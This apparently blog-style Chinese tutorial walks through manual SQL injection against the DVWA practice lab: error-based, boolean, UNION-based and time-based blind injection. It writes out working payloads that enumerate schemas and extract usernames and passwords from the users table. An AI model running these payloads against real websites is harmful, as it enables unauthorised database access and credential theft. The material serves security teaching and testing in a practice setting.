SQL注入:SQL注入类型(手动)SQL注入的检测
一、SQL注入流程
1、判断是否有SQL注入漏洞(检测)
2、判断操作系统、数据库和web应用类型
3、获取数据库信息,包括管理员信息及拖库
4、加密信息破解,sqlmap可自动破解
5、提升权限,获得sql-shell、os-shell、登录应用后台
二、SQL注入类型(手动)
1、基于错误的注入
错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点
通过数据库报错信息,也可以探测到数据库的类型和其他有用信息(可能能得到)
通过输入英文单引号,触发数据库异常,通过异常日志诊断数据库类型(可能能得到语法错误信息)
SQL注入语句解析:
select first_name,last_name from dvwa.users where user_id='1'; --输入1
select first_name,last_name from dvwa.users where user_id='''; --输入'
PS:SQL注入检测
2、基于布尔的注入
布尔逻辑注入的思想是闭合SQL语句、构造or和and逻辑语句、注释多余的代码。MySQL的注释标识符有两种:--、#
SQL注入语句解析:' or 1=1 --
select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- '
说明:
第一个'用于闭合前面的条件
or 1=1 为真的条件
--或者#将注释后面的所有语句
3、基于UNION的注入
UNION语句用于联合前面的SELECT查询语句,合并查询更多的信息;
一般通过错误和布尔注入确定注入点之后,便开始通过union语句来获取有效信息。
//猜测数据列数(方法1)
' union select 1 -- 查询失败
' union select 1,2 -- 查询成功
' union select 1,2,3 -- 查询失败
//猜测数据列数(方法2)
1' or 1=1 order by 1 # 查询成功
1' or 1=1 order by 2 # 查询成功
1' or 1=1 order by 3 # 查询失败
以上两个猜测可以确认执行的SQL查询语句中只有两个字段,即这里的first_name、last_name
SQL注入语句解析:猜字段sql
select first_name,last_name from dvwa.users where user_id=' ' union select 1 -- '
select first_name,last_name from dvwa.users where user_id=' ' union select 1,2 -- '
select first_name,last_name from dvwa.users where user_id=' ' union select 1,2,3 -- '
//获取当前数据库及用户信息
'union select version(),database() --'
'union select user(),database() --'
SQL注入语句解析:
select first_name,last_name from dvwa.users where user_id=' ' union select version(),database() -- '
select first_name,last_name from dvwa.users where user_id=' ' union select user(),database() -- '
说明:
version()获取数据库版本信息
database()获取当前数据库名
user()获取当前用户名
//查询数据库中的所有表
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式;
元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息
SQL注入语句解析:
select * from information_schema.TABLES\G
//查询所有库名
'union select TABLE_SCHEMA,1 from information_schema.TABLES --
select first_name,last_name from dvwa.users where user_id=' ' union select TABLE_SCHEMA,1 from information_schema.TABLES -- '
//查询所有库中所有表名
'union select TABLE_NAME,1 from information_schema.TABLES --
select first_name,last_name from dvwa.users where user_id=' ' union select TABLE_NAME,1 from information_schema.TABLES -- '
//同时查询表名及对应库名
'union select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES --
select first_name,last_name from dvwa.users where user_id=' ' union select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES -- '
//原始语句
select first_name,last_name from dvwa.users where user_id='$id'
//查询数据列
'union select column_name,1 from information_schema.COLUMNS where table_name='users' --
select first_name,last_name from dvwa.users where user_id=' ' union select column_name,1 from information_schema.COLUMNS where table_name='users' --
//查询数据列
'union select NULL,user from users --'
'union select NULL,password from users --'
'union select user,password from users --'
'union select user,concat(first_name,' ',last_name,' ',user) from users --'
SQL语句解析:
select first_name,last_name from dvwa.users where user_id=' 'union select NULL,user from users --'
select first_name,last_name from dvwa.users where user_id=' 'union select NULL,password from users --'
select first_name,last_name from dvwa.users where user_id=' 'union select user,password from users --'
select first_name,last_name from dvwa.users where user_id=' 'union select user,concat(first_name,' ',last_name,' ',user) from users --'
4、基于时间的盲注
有些情况数据输入之后,结果并不会回显到前端界面,此时,通过设置sleep语句来探测注入点
1' and sleep(8) --'
SQL注入语句解析:
select first_name,last_name from dvwa.users where user_id='1' and sleep(8) --'
PS:SQL注入检测
三、SQL注入检测(手动)
SQL注入的检测方法:基于错误的注入和基于时间的盲注
SQL注入:SQL注入类型(手动)SQL注入的检测相关推荐
- 【转】基于SQL的Web系统安全防范——SQL注入漏洞
攻击研究及防范措施 SQL-Based Web System Security--Structured Query Language InjectionLeak Attack Study And De ...
- spring注入私有字段_Spring字段依赖注入示例
spring注入私有字段 了解如何编写Spring Field Injection示例 . 字段注入是Spring框架 依赖注入的一种 . 在本教程中,我们将编写几个类,并看一看现场注入工程. 有关S ...
- SQL注入攻击及防御 手动注入+sqlmap自动化注入实战(网络安全学习12)
CONTENTS 1 项目实验环境 2 SQL注入概述 2.1 SQL注入简介 2.2 SQL注入的危害 3 SQL基础回顾 3.1 联合查询union 3.2 information_schema数 ...
- WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等...
核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Websh ...
- mysql sql注入很常用_常见sql注入的类型
这里只讲解sql注入漏洞的基本类型,代码分析将放在另外一篇帖子讲解 目录 最基础的注入-union注入攻击 Boolean注入攻击-布尔盲注 报错注入攻击 时间注入攻击-时间盲注 堆叠查询注入攻击 二 ...
- 《小迪安全》第14天 SQL注入:注入类型及提交注入
目录 注入前需要明确 数据库类型 请求方法 数据类型 演示案例 参数字符型注入测试:sqlilabs less 5 6 POST数据提交注入测试:sqlilabs less 11 COOKIE数据提交 ...
- 小迪安全第14天 web漏洞,SQL注入之类型及提交注入
14 web漏洞,SQL注入之类型及提交注入 在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取, 后续安全测试中我们也 ...
- 初学SQL 注入之常见的几种注入类型
SQL注入原理 老生常谈,SQL注入攻击的本质就是把用户输入的参数当做SQL语句来执行,Web应用程序对用户输入数据的合法性没有判断和过滤,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作. ...
- 一篇文章彻底学懂SQL注入(包含基础数据库句法、SQL注入原理以及所有常见SQL注入类型以及绕过手法)
文章目录 前言 认识数据库 基本术语 select 语句 SQL where 子句 and & or 对数据进行过滤 order by 排序 insert into 向表中插入新记录 upda ...
- 为什么preparedstatement能防止sql注入_使用Python防止SQL注入攻击的实现示例
文章背景 每隔几年,开放式Web应用程序安全项目就会对最关键的Web应用程序安全风险进行排名.自第一次报告以来,注入风险高居其位!在所有注入类型中,SQL注入是最常见的攻击手段之一,而且是最危险的.由 ...
最新文章
- linux内核自解压,Linux的初始内核自解压分析
- 机房收费系统--登录窗体
- Qt Creator 运行s60 Emulator
- JAVA判断输入的是数字、字符还是汉字
- wxWidgets:向后兼容
- vscode安装和使用
- 利用JNative实现Java调用动态库
- .Net Core DI,如何在程序集中注册所有现有的可分配类型
- 华为手机连电脑_移动办公利器华为MatePad Pro:能写会画有键盘,能当电脑连手机...
- 数据科学家在“新常态”下发生了怎样的转变?
- linux中的设备名称和设备号
- 外贸软件如何提升出口流程管理效率
- 电商扣减库存_电商后台系统产品逻辑全解析
- 删除安卓7.1源码中自带的Japanese IME输入法
- 制造业干货,只需3步,快速提高产品良率!
- 在c语言中 函数的作用是什么,C语言程序中函数的定义
- express框架实现文件上传、下载及推送(使用Websocket)
- 阿里云集群服务器的正确搭建
- 单独招生计算机笔试是考什么,单招考试考什么内容 单招一般考什么科目
- Redis 的 RDB 和 AOF